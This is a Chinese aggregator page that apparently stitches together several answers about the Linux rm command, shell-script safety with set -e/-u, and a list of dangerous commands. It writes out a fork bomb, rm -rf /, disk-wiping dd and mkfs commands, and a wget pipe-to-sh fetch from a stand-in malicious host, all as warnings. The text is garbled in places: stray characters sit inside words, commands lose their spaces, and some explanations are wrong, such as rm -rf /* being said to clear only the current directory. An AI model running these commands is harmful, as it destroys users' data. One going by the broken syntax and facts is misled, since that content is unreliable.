1、linux刪除命令行按哪個鍵。
2、Linux刪除命令。
3、linux刪除命令rm -rf。
4、linux刪除命令操作。
1."linux刪除命令,為您提供linux刪除命令圖文信息,linux刪除命令一共有以下幾種:常規刪除a.txt文件:[root]#rma.txt。
2.強行刪除file.log文件:[root]#rm-ffile.log。
3.刪除dirname目錄下的所有東西:[root]#rm-Rdirdirname。
② linux刪除命令是什麼
linux刪除命令rm-rf命令。具體詳情:
1、rm命令在Linux下通常用來刪除文件。
2、rm-r命令遞歸的刪除文件夾,甚至是空的文件夾。
3、rm-f命令能不經過詢問直接刪除『只讀文件』。Linux下刪慎知除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否寬臘消有寫許可權。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發局凳行版都會將rm通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。
4、rm-rf/:強制刪除根目錄下所有東西。
5、rm-rf*:強制刪除當前目錄的所有文件。
6、rm-rf.:強制刪除當前文件夾及其子文件夾。
③ rm-rf命令刪除多個文件
答,linux中rm命令可以刪除一個目錄中的一個或多個文件或目錄,也可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。
參數
rm (選項)(參數)
-i 刪除的時候會提示是否確認刪除,一次刪除多個文件則每一個文件都會提醒
-I 一次刪除多個文件(大於三個),提示消息只提示一次
-r 遞歸刪除,用於刪除目錄:
-d 用於刪除空目錄,如果目錄不為空,則無法刪除
-f 強制刪除,不彈出任何提示,慎用
實例
1. 刪除當前目錄下除隱含文件外的所有文件和子目錄
rm -r * //這樣刪除數據做是非常危險的
2. 交互模式下刪除文件
rm -i test.trc
rm: remove regular file `test.trc'? y //輸入y刪除文件 n不刪除文件
removed `test.trc'
3. 遞歸刪除某個目錄下文件以及子目錄
rm -rf tomcat/ //刪除tomcat下所有的文件及子目錄
4. 刪除當前目錄下的所有trc文件類型的文件
rm -v *.trc
5. 刪除當前目錄下所有.bin目錄,刪除前逐一詢問確認
rm -i *.bin
Linux系統沒有回收站,rm刪除就永遠找不到了,刪除的時候,最好用絕對路徑,比較保險。
④ 在linux中"rm .rf* "命令是做什麼的
「rm」命令用來刪除不需要的文件。該命令的功能為刪除一個目錄中的一個或多個文件或目錄,它也可以將某個目錄及其下的所有文件及子目錄均刪除。對於鏈接文件,只是斷開了鏈接,原文件保持不變。
「rm」命令的一般形式為:
「rm [選項] 文件名? 」
如果沒有使用「- r」選項,則rm不會刪除目錄。
該命令的各選項含義如下:
「- f」忽略不存在的文件,強制刪除,不給出提示。
「- r」 指示rm將參數中列出的全部目錄和子目錄均遞歸地刪除。
「- i」進行互動式刪除。
使用rm命令要小心。因為一旦文件被刪除,它是不能被恢復的。為了防止這種情況的發生,可以使用「i」選項來逐個確認要刪除的文件。如果用戶輸入「y」,文件將被刪除。
⑤ linux系統rm -rf/*怎麼恢復可以重做系統么
1、執行刪除命令前,系統運行良好,且操作正常,如下圖所示:
4、強制關機後,重新啟動系統,如下圖所示已經報異常了,無法正常進入系統,此時只有進行重裝系統了。
總結:
1.有點遺憾刪除結束後沒法再使用df、ls這些命令,所以沒辦法看出還剩哪些文件。不過從上面的結果來看,連基礎命令都執行不了,所以用戶數據(如安裝的軟體、部署的網站、資料庫等)肯定也都全刪沒了。
2.因此平時操作的過程中要養成良好的習慣,盡量不要用rm命令,可以用mv命令來代替。比如要刪掉a.txt,可以執行mv a.txt /mytemp ,然後再寫個腳本定時清除/mytemp目錄下的文件,這樣會安全很多。
⑥ Linux篇:從rm -rf 引發的腳本安全閑聊(set 命令)
上周剛經歷了一個「刪庫跑路」的慘重事件,不知哪位無邪的童鞋把Confluence 的數據存儲目錄 /var 清空了,結果群眾的怒火燃燒上了天空
這次結合自己的一些思考來記錄一些有關腳本安全的點
先來看一個簡單的案例
在用戶主目錄下創建safe目錄及相關文件用於測試演示
假如寫一段腳本刪除safe目錄下所有文件:
這段是不是看起來沒有問題,但如果由於有些大心臟的同學粗心,寫成下面這樣
最終,腳本都變成了rm -rf * ,可怕至極
其實在shell腳本當中,為了防止這種現象,我們可以藉助set 命令來實現相關控制
關於set 命令有較多參數,這里介紹最常用的幾個
我們以剛才圖4那段有問題的腳本說事
為保證不錯刪東西 ,我們加一個set -u 選項 ,判斷變數是否存在
我們執行一下,看看效果
看,報錯啦,dir這個變數沒有聲明,ls 查看一下文件,發現都還存在
set -e 與set -u 通常搭配在一起使用
一個是遇到錯誤退出,一個是發現空變數報錯
這兩個搭配在一起放在腳本里可以防止一些變數為空導致文件全被清空的問題
拓展一下:
如果只想應用在腳本的某一段中,那麼
開始段落前加set -e 表示範圍開始
結束段落後加 set +e 表示範圍結束
set -x 與set + x同理。
1、刪文件其實不用rm -rf ,不是受迫性需要,不要使用rm -rf
2、修改、刪除系統文件或其他重要的東西,先備份一份
3、非特殊需要,不建議在root下操作,普通用戶即可
4、腳本加上set -e 與set -u保證安全
⑦ LINUX系統有哪些危險命令
這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。
⑧ 關於對linux命令rm -rf 的理解
rm -rf * 這個命令的意思是:刪除當前目錄下的所有文件.
一般情況下用不到這個命令,而且這個命令很危險,如果一旦執行,會刪除當前目錄下所有的文件,而且不能夠恢復.因此,應避免使用。
rm 命令 可以刪除一個目錄中的一個或多個文件或目錄,也可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。
注意:使用rm命令要格外小心。因為一旦刪除了一個文件,就無法再恢復它。所以,在刪除文件之前,最好再看一下文件的內容,確定是否真要刪除。rm命令可以用-i選項,這個選項在使用文件擴展名字元刪除多個文件時特別有用。使用這個選項,系統會要求你逐一確定是否要刪除。這時,必須輸入y並按Enter鍵,才能刪除文件。如果僅按Enter鍵或其他字元,文件不會被刪除。
rm (選項)(參數)
文件:指定被刪除的文件列表,如果參數中含有目錄,則必須加上 -r 或者 -R 選項。
互動式刪除當前目錄下的文件 test 和example
rm -i test example
Remove test ?n(不刪除文件test)
Remove example ?y(刪除文件example)</pre>
刪除當前目錄下除隱含文件外的所有文件和子目錄
應注意,這樣做是非常危險的!